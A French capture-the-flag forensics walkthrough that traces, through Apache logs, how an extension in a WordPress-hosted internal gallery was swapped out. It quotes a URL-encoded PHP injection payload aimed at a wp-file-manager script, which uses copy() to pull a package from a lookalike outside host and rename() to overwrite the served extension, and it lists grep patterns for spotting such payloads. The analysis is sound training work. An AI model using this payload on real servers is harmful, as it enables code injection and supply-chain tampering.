Walkthrough - FIC - Exercice 1

Introduction

On reçoit un fichier de logs Apache issu d’un serveur qui héberge une galerie d’extensions à usage interne.
Le contexte de l’incident : une extension “légitime” aurait été remplacée par une version non conforme, possiblement malveillante.

Mission :

• Identifier comment l’extension a été remplacée
• Trouver le nom de l’extension touchée
• Retrouver l’IP de l’attaquant
• Déterminer quel composant du serveur (plugin, page, etc.) a été compromis

Étape 1 : Identification du socle technique

En ouvrant le fichier de logs, on remarque que beaucoup d’URLs concernent des chemins tels que :

/wp-content/...
/wp-includes/...

Ce motif, très spécifique, pointe quasi systématiquement vers un serveur WordPress (structure standard des fichiers d’un WP).
On peut donc supposer que le serveur tourne sur un socle WordPress, possiblement avec des plugins installés pour enrichir la gestion des extensions.

Étape 2 : Formuler une hypothèse d’attaque plausible

Dans ce contexte, il est courant que des attaques exploitent des plugins vulnérables de WordPress, via des requêtes HTTP GET ou POST malicieuses.

Le remplacement d’une extension nécessite soit :

• Un accès légitime (compte admin, interface upload),
• Soit l’exploitation d’une faille dans un plugin permettant l’écriture/écrasement de fichiers sur le disque (upload arbitraire, RCE).

On part donc à la recherche de telles requêtes dans les logs.

Étape 3 : Recherche de requêtes suspectes

En l’absence d’autres indices, on cible en priorité :

• Les requêtes vers des scripts PHP, surtout ceux situés dans /plugins/.
• Les requêtes comportant des arguments inhabituels ou des traces d’injection de code

Pour maximiser les chances de tomber sur une exploitation directe, on peut rechercher dans les logs les lignes contenant des séquences caractéristiques, par exemple :

• Une charge active PHP encadré : trouvable avec une regex comme php.*php.
• L’usage de fonctions sensibles (souvent dans les exploits web) : copy(), rename(), /tmp/.

On lance alors :

grep -iE 'php.*php' extensions.access.log.1
# ou
grep -iE 'copy\(|rename\(' extensions.access.log.1

Étape 4 : Identification de la ligne d’exploitation

La recherche fait rapidement ressortir une requête particulièrement évocatrice :

10.23.1.23 - - [11/Oct/2025:10:35:03 +0000] "GET /wp-content/plugins/wp-file-manager/lib/php/class-search-handler.php?q=%3C%3Fphp%20copy(%27https%3A%2F%2Fmarketplace.visua1studio.com%2F_apis%2Fpublic%2Fgallery%2Fpublishers%2Fformulahendry%2Fvsextensions%2Fcode-runner%2F0.12.2%2Fvspackage%27%2C%27%2Ftmp%2Fformulahendry.code-runner.vsix%27)%3B%20rename(%27%2Ftmp%2Fformulahendry.code-runner.vsix%27%2C%27%2Fvar%2Fwww%2Fwordpress%2Fwp-content%2Fuploads%2Fextensions%2Fformulahendry.code-runner.vsix%27)%3B%20%3F%3E HTTP/1.1" 200 78 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Version/17.0 Safari/605.1.15"

En décodant le paramètre q=..., on comprend que l’attaquant a demandé au serveur :

• De télécharger une extension (vspackage) externe et la placer dans /tmp/.
• De renommer ce fichier vers le répertoire des extensions :
  /var/www/wordpress/wp-content/uploads/extensions/formulahendry.code-runner.vsix .

Le script visé :
/wp-content/plugins/wp-file-manager/lib/php/class-search-handler.php .

Réponses aux flags

• Nom de l’extension remplacée : formulahendry.code-runner.vsix .
• Adresse IP de l’attaquant : 10.23.1.23 .
• Plugin compromis : wp-file-manager .